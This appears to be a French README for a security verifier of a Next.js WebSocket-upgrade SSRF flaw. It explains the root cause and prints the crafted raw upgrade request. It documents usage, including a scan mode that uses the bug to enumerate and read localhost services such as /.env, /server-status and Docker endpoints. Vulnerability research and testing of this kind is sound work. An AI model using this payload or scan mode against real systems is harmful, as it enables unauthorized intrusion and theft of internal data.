
Vérificateur OOB pour GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-upgrade SSRF)
Vérificateur intégré pour GHSA-c4j6-fc7j-m34r / CVE-2026-44578 — Falsification de requête côté serveur (SSRF) dans Next.js via les demandes de mise à niveau WebSocket.
⚠️ Réservé aux tests de sécurité autorisés. Vous êtes responsable de vous assurer que vous avez la permission de tester chaque cible que vous passez à ce script.
| Champ | Valeur |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CWE | CWE-918 (SSRF) |
| CVSS v3.1 | 8.6 (Élevée) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Affecté | next >=13.4.13 <15.5.16, >=16.0.0 <16.2.5 |
| Corrigé | 15.5.16, 16.2.5 |
| Commit de correction | c4f69086 |
| Non affecté | Hébergé sur Vercel ; output: "export" ; déploiements derrière un proxy inverse qui ne transmet pas Upgrade |
Un attaquant ouvre une connexion TCP vers un processus Next.js auto-hébergé et envoie une mise à niveau WebSocket HTTP/1.1 dont l'URI de requête est une URL absolue :
GET http://anything/<path> HTTP/1.1
Host: <target>
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Dans resolveRoutes, l'URL contient // (toute URI absolue le fait), ce qui correspond à la branche "normaliser les slashs répétés". Cette branche revient tôt avec { finished: true, statusCode: 308, parsedUrl: <mangled> }. Le normalisateur réduit http://host/path en http:/host/path (un seul slash).
Dans router-server.ts, le gestionnaire de mise à niveau avant le correctif ignorait finished/statusCode et ne vérifiait que parsedUrl.protocol. Comme le protocole survit à la normalisation, il appelait proxyRequest(...).
proxyRequest exécute url.format(parsedUrl) sur l'URL déformée, obtenant http:/host:port/path. http-proxy analyse cette cible, ne trouve pas d'hôte (url.parse('http:/...').host === null), et retombe sur sa destination par défaut : localhost:80 (ou localhost:443 pour https).
Donc en pratique, le SSRF vous permet de faire ouvrir par Next une mise à niveau WebSocket vers localhost:80 / localhost:443 de l'hôte Next.js avec un chemin contrôlé par l'attaquant.
Le correctif (commit c4f69086) a fait en sorte que le gestionnaire de mise à niveau vérifie finished && !statusCode avant de proxyer. Le cas de normalisation 308 échoue désormais à la vérification !statusCode et la socket est fermée à la place.
Le proxy n'atteint jamais un hôte externe. Si vous configurez un interactsh / Burp Collaborator / webhook canary et attendez que le processus Next rappelle, il ne le fera pas — la connexion va vers localhost sur la machine cible. Ce vérificateur utilise donc un signal intégré lu depuis la socket de mise à niveau : un serveur vulnérable retourne un corps d'erreur reconnaissable, un serveur corrigé ne retourne rien.
La cible du SSRF est restreinte mais toujours significative dans les déploiements réels :
127.0.0.1:80 ou :443 et font confiance aux requêtes provenant de localhost.127.0.0.1:80 (rare mais observé).Les points de terminaison de métadonnées AWS / GCP / Azure (169.254.169.254) ne sont pas directement accessibles car le bug verrouille la destination sur localhost.
Pour chaque cible, le script ouvre une socket TCP brute (ou TLS), envoie la mise à niveau conçue, lit la réponse et produit deux signaux :
verdict — si le bug est présent.impact_confirmed — si le SSRF a réellement exfiltré des données (c'est-à-dire qu'un service co-localisé sur localhost:80/443 de la cible a répondu et nous avons récupéré sa réponse).| Réponse | Verdict | impact_confirmed |
|---|---|---|
Contient Internal Server Error | vulnerable | false — bug prouvé, mais le proxy n'a rien atteint sur localhost |
Commence par HTTP/1. | vulnerable_proxy_succeeded | true — données de réponse réelles exfiltrées |
| Vide / fermeture propre | likely_patched | false — couvre aussi "pas Next", "proxy inverse a supprimé Upgrade", "Vercel" |
| Identique au contrôle sans mise à niveau | front_end_intercepts | false — le proxy front-end a court-circuité les deux sondes ; le SSRF n'a jamais atteint Next |
| Tout autre chose | inconclusive | false |
Lorsque impact_confirmed est vrai, la sortie JSON inclut également upstream_status, upstream_server et upstream_content_type analysés à partir de la réponse divulguée (utile pour le triage / la rédaction de rapports).
Par défaut, chaque cible reçoit également une sonde de contrôle avec la même ligne de requête d'URI absolue mais sans en-têtes Upgrade (Connection: close). Si le front-end retourne la même réponse aux deux sondes (ligne de statut + taille dans la tolérance), le propre front-end de l'hôte rejette la ligne de requête d'URI absolue elle-même — nginx 400, Apache 400, CDN edge — et le SSRF n'a jamais atteint Next. Le verdict est rétrogradé à front_end_intercepts et la sortie JSON inclut front_end_status et front_end_server analysés à partir de la réponse du proxy afin que l'opérateur puisse identifier ce qui intercepte.
Cela élimine un faux positif réel observé lorsque Next auto-hébergé se trouve derrière nginx/Apache : ces proxys rejettent la ligne de requête GET http:///x HTTP/1.1 de la sonde avec un 400 générique, que le détecteur interprétait auparavant comme vulnerable_proxy_succeeded. Passez --no-control-probe pour refuser et voir les verdicts bruts.
# single target
python3 verify_ghsa_c4j6.py --target https://app.example.com
# multiple targets via flag repetition
python3 verify_ghsa_c4j6.py \
--target https://app1.example.com \
--target app2.example.com:3000 \
--target 10.0.0.5:80
# from a file (one target per line; '#' for comments)
python3 verify_ghsa_c4j6.py --targets-file targets.txt
# from stdin
cat targets.txt | python3 verify_ghsa_c4j6.py
# JSON Lines output for downstream tooling
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
# Enumerate co-located services on the target's localhost:80/443 via the bug
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan
# Same, with a custom path list
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt
--scan sonde une liste intégrée de chemins courants (modules de statut Apache/nginx, points de terminaison de santé et de métriques, Spring Boot Actuator, Go pprof, points de terminaison du daemon Docker, panneaux d'administration courants, fichiers de configuration divulgués, routes Elasticsearch, etc.) via le gadget SSRF.
Par défaut, le mode scan exécute une sonde baseline différentielle supplémentaire avec un chemin aléatoire inexistant par cible. Les sondes suivantes sont étiquetées DIFF uniquement lorsque leur signature (statut, longueur du corps) diverge de la baseline — les 404 uniformes d'un amont "n'a rien trouvé" sont marqués noise et n'augmentent pas le nombre de hits. Passez --no-differential pour signaler chaque sonde ayant atteint un service (comportement hérité).
La sortie est groupée par cible :
=== vulnscope.local:3030 ===
baseline (random path): verdict=vulnerable_proxy_succeeded status=404 bytes≈500
[VULN+] DIFF / impact=YES status=200 ct='text/html'
[VULN+] DIFF /.env impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /admin impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /index.html impact=YES status=200 ct='text/html'
[VULN+] DIFF /server-status impact=YES status=200 ct='application/octet-stream'
[VULN+] noise /_health impact=YES status=404 ct='text/html;charset=utf-8'
[VULN+] noise /actuator/env impact=YES status=404 ct='text/html;charset=utf-8'
... (53 more 404 'noise' paths suppressed) ...
-> 5 differential hit(s) / 58 probes
-> upstream server(s) seen: SimpleHTTP/0.6 Python/3.14.4
Les lignes DIFF sont les vrais hits — des chemins dont la réponse a divergé de la baseline de chemin aléatoire (statut différent, longueur de corps différente). Les lignes noise ont également atteint un service HTTP, mais ont produit la même réponse ennuyeuse que la baseline — généralement des 404 uniformes dont l'opérateur ne se soucie pas. Lorsque chaque sonde est noise et qu'il n'y a pas de divergence de baseline, le bug est toujours présent mais rien d'utile n'écoute sur localhost:80/443 de cet hôte.
| Option | Description | Défaut |
|---|---|---|
--target URL | Une seule cible. Répétez pour plusieurs. | — |
--targets-file PATH | Fichier avec une cible par ligne. | — |
--probe-path PATH | Chemin utilisé dans l'URI absolue conçue. Atteint le service localhost de la cible à ce chemin (enregistré avec un suffixe de jeton par cible). | /x |
--scan | Énumère les chemins courants sur le service localhost de chaque cible. Envoie une sonde baseline différentielle par cible plus la liste de chemins. | off |
--scan-paths-file PATH | Liste de chemins personnalisée pour le mode scan (un par ligne). Implique --scan. | built-in |
--no-differential | En mode --scan, saute la sonde baseline et signale chaque sonde ayant atteint un service (comportement hérité). | off |
--no-control-probe | Désactive la protection de court-circuit du front-end (sonde supplémentaire sans Upgrade par cible). Utile lorsque les cibles sont strictement connues pour être des processus Next directs. | off |
--timeout SEC | Délai d'attente par socket. | 5 |
--concurrency N | Sondes parallèles. | 10 |
--insecure | Ignore la vérification du certificat TLS. Requis avec --proxy lors du MITM TLS. | off |
--proxy URL | Tunnel à travers un proxy HTTP CONNECT (Burp / mitmproxy / ZAP). Prend en charge l'authentification de base via http://user:pass@host:port. Nécessite Python 3.11+ pour les cibles TLS. | direct |
--json | Émet des lignes JSON au lieu de texte lisible. | off |
Les cibles peuvent être host, host:port ou des URL complètes http(s)://....
Tunneliser toutes les sondes à travers un proxy HTTP CONNECT pour inspection dans Burp / mitmproxy / OWASP ZAP :
# plain HTTP target via Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080
# HTTPS target via Burp (Burp MITMs TLS — need --insecure or install Burp CA)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure
# proxy with basic auth
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128
Le proxy voit un CONNECT host:port suivi de la charge utile de mise à niveau brute — utile lorsque vous voulez que Burp enregistre/rejoue/modifie les sondes SSRF.
Vous pouvez exécuter un laboratoire vulnérable en cinq commandes :
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030
Sortie :
[ VULN] target=127.0.0.1:3030 verdict=vulnerable impact= no
snippet: 'Internal Server Error'
Répétez avec [email protected] et vous devriez voir verdict=likely_patched.
demo_impact.sh exécute Next sur :80 (sa cible SSRF verrouillée sur localhost est donc le même processus Next) et lit le propre HTML de Next via le bug. Nécessite sudo pour la liaison de port privilégié.
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh
La sortie attendue se termine par IMPACT CONFIRMED — SSRF a atteint un service sur le localhost cible et a lu les données de réponse.
Upgrade masquera la vulnérabilité ; le script signalera likely_patched. Re-testez directement contre le processus Next si possible.Internal Server Error pourrait théoriquement être retournée par un proxy amont lui-même. Pour écarter cela, renvoyez la même charge utile avec Connection: close au lieu de Connection: Upgrade — un Next réellement vulnérable cesse de retourner le corps Internal Server Error dans ce cas (chemin de code différent).next start utilise par défaut HTTP/1.1.Testez uniquement les systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite et écrite d'évaluer.
MIT